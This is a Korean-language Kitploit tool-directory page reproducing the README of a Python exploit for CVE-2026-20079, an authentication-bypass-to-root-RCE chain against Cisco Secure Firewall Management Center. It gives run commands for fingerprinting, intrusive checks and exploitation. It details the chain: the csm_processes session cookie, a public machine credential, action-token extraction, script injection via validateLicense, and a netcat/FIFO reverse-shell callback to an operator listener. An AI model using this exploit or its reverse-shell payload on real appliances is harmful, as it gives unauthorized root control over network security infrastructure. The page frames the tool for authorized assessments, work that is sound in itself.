Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-20079 — fingerprint, check, proof 및 대화형 exploit 모드를 사용하여 Cisco Secure FMC를 대상으로 CVE-2026-20079 인증 우회-루트-RCE 체인을 구현합니다. | Kitploit
도구/GitHubGitHub/cyberauth/cve-2026-20079
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationPayload Development
GitHubcyberauth/cve-2026-20079

CVE-2026-20079

fingerprint, check, proof 및 대화형 exploit 모드를 사용하여 Cisco Secure FMC를 대상으로 CVE-2026-20079 인증 우회-루트-RCE 체인을 구현합니다.

저장소 보기
63641개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-20079 Cisco Secure FMC PoC

CVE-2026-20079에서 공개적으로 문서화된 Cisco Secure Firewall Management Center의 인증 우회에서 루트 RCE로 이어지는 체인에 대한 Python 개념 증명(proof of concept)입니다.

이는 새로운 취약점이나 독자적으로 개발된 익스플로잇 체인이 아닙니다. VulnCheck가 공개한 요청 시퀀스에 대한 클린룸 구현으로, 별도의 핑거프린트, 단계별 검사, 원샷 증명, 대화형 익스플로잇 모드를 제공합니다.

빠른 설정

Python 3.10 이상이 필요합니다. Linux 또는 macOS에서:

git clone https://github.com/CyberAuth/CVE-2026-20079.git
cd CVE-2026-20079
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 CVE-2026-20079.py --help

예제 주소 교체

아래의 모든 192.0.2.x 값은 문서화용으로 예약된 주소입니다. 이들은 자리 표시자일 뿐 발견된 대상 정보가 아니며, 승인된 평가의 값으로 교체해야 합니다. 명령은 그대로 작동할 것으로 예상되지 않습니다.

예제의미대신 사용할 값
https://192.0.2.10대상 FMC URL정확히 승인된 FMC 스킴, 주소 및 포트
192.0.2.20FMC가 다시 연결하는 주소FMC에서 도달 가능한 운영자 리스너의 IP 주소 또는 DNS 이름
192.0.2.0/24예제 지문 CIDR명시적으로 승인된 네트워크 범위
4444콜백/리스너 TCP 포트콜백 시스템에서 승인된 도달 가능한 포트
0.0.0.0운영자 시스템에서 리스너가 바인딩하는 위치모든 로컬 인터페이스에서 수신하도록 유지하거나, 하나의 로컬 인터페이스 주소를 사용
--expected-callback-source의 192.0.2.10콜백의 예상 소스리스너가 관찰한 FMC 소스 주소; NAT로 인해 불확실한 경우 이 옵션을 생략
http://127.0.0.1:8080선택적 로컬 인터셉트 프록시운영자 시스템에서 실제로 수신 중인 프록시 URL

--callback-host 선택

다음 규칙을 사용하십시오: FMC의 관점에서 어떤 주소가 운영자의 리스너에 도달하는가? 그 주소가 --callback-host입니다.

네트워크 경로일반적인 --callback-host 값
운영자와 FMC가 동일한 라우팅 네트워크에 있음운영자 시스템의 도달 가능한 eth0, en0 또는 기타 LAN 주소
운영자가 VPN을 통해 FMC에 도달함FMC가 해당 주소로의 경로를 가지고 있을 때, 도달 가능한 VPN 인터페이스 주소(예: tun0 또는 utun)
운영자가 NAT 또는 방화벽 뒤에 있음선택한 포트가 운영자 시스템으로 포워딩되는 공인 IP 또는 DNS 이름
콜백 터널 또는 VPS를 사용함도달 가능한 터널 엔드포인트 또는 VPS 주소

--callback-host에 127.0.0.1 또는 0.0.0.0을 사용하지 마십시오. 127.0.0.1은 FMC 자체를 가리키며, 0.0.0.0은 목적지가 아니라 리스너 바인드 값입니다. 라우팅, 방화벽 규칙 및 모든 포트 포워딩이 FMC가 --callback-port에서 --callback-host에 도달할 수 있도록 허용하는지 확인하십시오.

--listen-host는 로컬 전용입니다: 통합 리스너가 대기하는 인터페이스를 선택합니다. 기본값인 0.0.0.0은 모든 로컬 인터페이스에서 수신합니다. 이는 FMC에 연결할 위치를 알려주지 않습니다. 따라서 --callback-host와 --listen-host는 특히 NAT를 거치는 경우 다를 수 있습니다.

예제: 운영자와 FMC가 동일한 네트워크에 있는 경우

다음과 같은 가상의 문서 전용 랩을 가정합니다:

Operator system                                      FMC target
eth0: 192.0.2.20                                     192.0.2.10

1. Operator ---------------------------------------> FMC
   HTTPS requests to https://192.0.2.10

2. Operator <--------------------------------------- FMC
   Listener on TCP 4444         callback to 192.0.2.20:4444

값은 다음과 같이 명령에 매핑됩니다:

  • --target https://192.0.2.10은 평가 대상 FMC를 식별합니다.
  • --callback-host 192.0.2.20은 FMC가 직접 라우팅할 수 있으므로 운영자 시스템의 eth0 주소입니다.
  • --callback-port 4444는 콜백에 사용하도록 승인된 TCP 포트입니다.
  • --listen-host 0.0.0.0은 통합 리스너가 eth0을 포함한 모든 로컬 인터페이스에서 콜백을 수락하도록 합니다.

해당 예시에 대한 원샷 증명 명령은 다음과 같습니다:

python3 CVE-2026-20079.py \
  --proof \
  --target https://192.0.2.10 \
  --callback-host 192.0.2.20 \
  --callback-port 4444 \
  --listen-host 0.0.0.0

흐름은 다음과 같다: 운영자가 192.0.2.10으로 HTTPS 요청을 보내면, FMC가 운영자의 192.0.2.20:4444로 다시 연결한다. 실제 평가에서는 두 IP 주소를 모두 교체하고 명령을 실행하기 전에 반환 경로를 확인한다. FMC가 운영자의 eth0 주소에 도달할 수 없는 경우, 위에서 설명한 도달 가능한 VPN, NAT, 터널 또는 VPS 주소를 대신 사용한다.

모드 및 빠른 명령 참조

모드네트워크 또는 대상 효과증거 또는 결과
--fingerprintGET 요청만 수행가능한 FMC 웹 표면이며, 취약점 확인은 아님
--check최대 두 번의 GET 요청; 세션 업그레이드 없음알려진 우회 응답 패턴이 전체 또는 부분적으로 일치함
--check --intrusive서버 측 세션 상태를 업그레이드함인증 우회 및 액션 토큰 접근
--proof제한된 콜백 페이로드를 기록하고 실행함대화형 셸 없이 루트 실행 및 정리
--exploitFIFO/netcat 페이로드를 기록하고 실행함대화형 루트 콜백, 또는 --auto-verify를 사용한 제한된 검증

세 가지 예시 값을 한 번 설정하며, 각각을 승인된 대상, 운영자 콜백 주소, 포트로 교체한다:

# Replace all three values before running a mode.
FMC_URL=https://192.0.2.10
CALLBACK_HOST=192.0.2.20  # Address the FMC can use to reach this listener
CALLBACK_PORT=4444

그런 다음 정확히 하나의 모드를 선택하십시오:

# GET-only product fingerprint; start here
python3 CVE-2026-20079.py --fingerprint --target "$FMC_URL"

# GET-only authentication-bypass check; does not upgrade the session
python3 CVE-2026-20079.py --check --target "$FMC_URL"

# Intrusive authentication-bypass check; changes server-side session state
python3 CVE-2026-20079.py --check --intrusive --target "$FMC_URL"

# One-shot root proof with integrated listener and verified cleanup
python3 CVE-2026-20079.py --proof --target "$FMC_URL" \
  --callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"

# Interactive root callback; first start one listener in another terminal:
# Linux (common netcat variants): nc -lvnp "$CALLBACK_PORT"
# macOS built-in netcat:         nc -lvn "$CALLBACK_PORT"
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
  --callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"

# Bounded root verification and cleanup instead of an interactive shell
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
  --callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT" \
  --auto-verify

[!IMPORTANT] 핑거프린팅은 취약점 점검이 아니라 휴리스틱 제품 식별 단계입니다. MATCH와 LIKELY는 대상이 영향을 받거나 악용 가능함을 증명하지 않으며, NO_MATCH는 FMC를 배제하지 않습니다. 리버스 프록시, 사용자 지정 로그인 페이지, 접근 제어, 네트워크 장애 또는 제품 변경이 결과에 영향을 줄 수 있습니다.

핑거프린팅은 네트워크 요청을 보내지만 인증 우회나 RCE 체인을 실행하지 않습니다. 기본 점검은 특수 세션 쿠키를 보호된 정보 엔드포인트로 전송하지만, 자격 증명을 제출하거나 세션을 업그레이드하지는 않습니다. 검증 모드를 사용하기 전에 아래의 분류 세부 정보, 모드 설명 및 세션 상태 경고를 읽으십시오.

[!WARNING] 명시적인 서면 승인 없이 --check, --proof 또는 --exploit을 실행하지 마십시오. --check --intrusive, proof 및 exploit 모드에 대한 승인은 해당 모드의 대상 변경과 증명 방법을 포함해야 합니다. 먼저 전제 조건, 세션 상태 제한 사항 및 콜백 요구 사항을 읽으십시오.

익스플로잇 체인 작동 방식

활성 체인은 CGISESSID=csm_processes를 /login.cgi?logon=Continue에 제공하고, 공개된 report:snortrules 머신 자격 증명을 사용하며, /ui/user/general에서 sf_action_id를 추출하고, validateLicense를 통해 Makeself 형식 스크립트를 작성한 뒤 SF::UI::DataObjectLibrary::upgradeReadinessCall을 통해 이를 트리거합니다.

JSON 직렬화기는 실제 스크립트 개행을 나타내는 이스케이프만 \u000A로 변환합니다. 명령 내의 리터럴 \n 시퀀스 및 기타 백슬래시 콘텐츠는 변경되지 않습니다.

중요한 전제 조건

영향을 받는 소프트웨어 버전이 테스트 시점에 항상 악용 가능한 것은 아닙니다. 부팅 시 생성된 csm_processes 세션이 여전히 존재해야 합니다. 정상적인 인증 UI 활동 및 세션 정리로 인해 해당 세션이 제거될 수 있습니다. 이 전제 조건을 충족하기 위해 운영 환경의 FMC를 재부팅하지 마십시오.

세션 상태 제한 사항

--check --intrusive, --proof 및 --exploit 모드는 서버 측 csm_processes 세션을 업그레이드합니다. PoC는 벤더가 문서화한 다운그레이드 작업이 없기 때문에 해당 세션을 원래의 부분 상태로 되돌리려고 시도하지 않습니다. 클라이언트 쿠키를 지우는 것은 서버 측 변경을 되돌리지 않으며, 로그아웃하거나 강제 만료시키거나 데이터베이스 항목을 삭제하는 것은 세션을 복원하는 대신 파괴하고 이후 검증이나 어플라이언스 동작을 방해할 수 있습니다. 자동 정리 기능은 임시 RCE 파일만 제거하며 세션 상태를 복원한다고 주장하지 않습니다. --fingerprint는 해당 세션을 사용하지 않습니다. 기본 --check는 세션을 통해 읽지만 문서화된 업그레이드를 수행하지 않습니다. 다른 모든 활성 HTTP 요청과 마찬가지로 로그에 나타날 수 있으며 수동적이라고 설명되지 않습니다.

대상 런타임 전제 조건

두 콜백 페이로드 모두 다음을 요구합니다:

  • 호환되는 POSIX 스타일 /bin/sh.
  • rm 및 command.
  • 대상의 실행 PATH를 통해 사용 가능한 nc, netcat 또는 ncat 중 하나.
  • FMC에서 제공된 콜백 주소 및 포트로의 아웃바운드 TCP 연결.

대화형 --exploit 페이로드는 추가로 mkfifo를 요구합니다. 원샷 --proof 페이로드는 FIFO나 대화형 셸을 생성하지 않습니다.

페이로드는 콜백을 시도하기 전에 지원되는 세 가지 netcat 명령 이름을 확인합니다. 어느 것도 존재하지 않으면 정리 트랩을 통해 종료됩니다. 오류가 블라인드 서버 측 실행 경로 내에서 발생하기 때문에 테스터는 상세한 원격 오류 메시지 대신 콜백 누락을 관찰합니다.

--auto-verify는 Python의 소켓 라이브러리를 사용하며 로컬 netcat 설치를 요구하지 않습니다. 수동 리스너 모드는 nc, ncat, socat 또는 운영자가 선택한 다른 TCP 리스너를 사용할 수 있습니다.

GET 전용 FMC 핑거프린팅

하나의 URL 핑거프린트:

python3 CVE-2026-20079.py \
  --fingerprint \
  --target https://192.0.2.10

한 줄에 URL, IP 주소, 호스트 이름 또는 host:port 값이 하나씩 포함된 파일의 지문을 채취합니다:

python3 CVE-2026-20079.py \
  --fingerprint \
  --targets-file targets.txt \
  --fingerprint-scheme https \
  --fingerprint-port 443 \
  --workers 10

명시적으로 승인된 네트워크 범위의 지문을 채취합니다:

python3 CVE-2026-20079.py \
  --fingerprint \
  --network 192.0.2.0/24 \
  --fingerprint-scheme https \
  --fingerprint-port 443 \
  --workers 20 \
  --max-hosts 256
도구 다운로드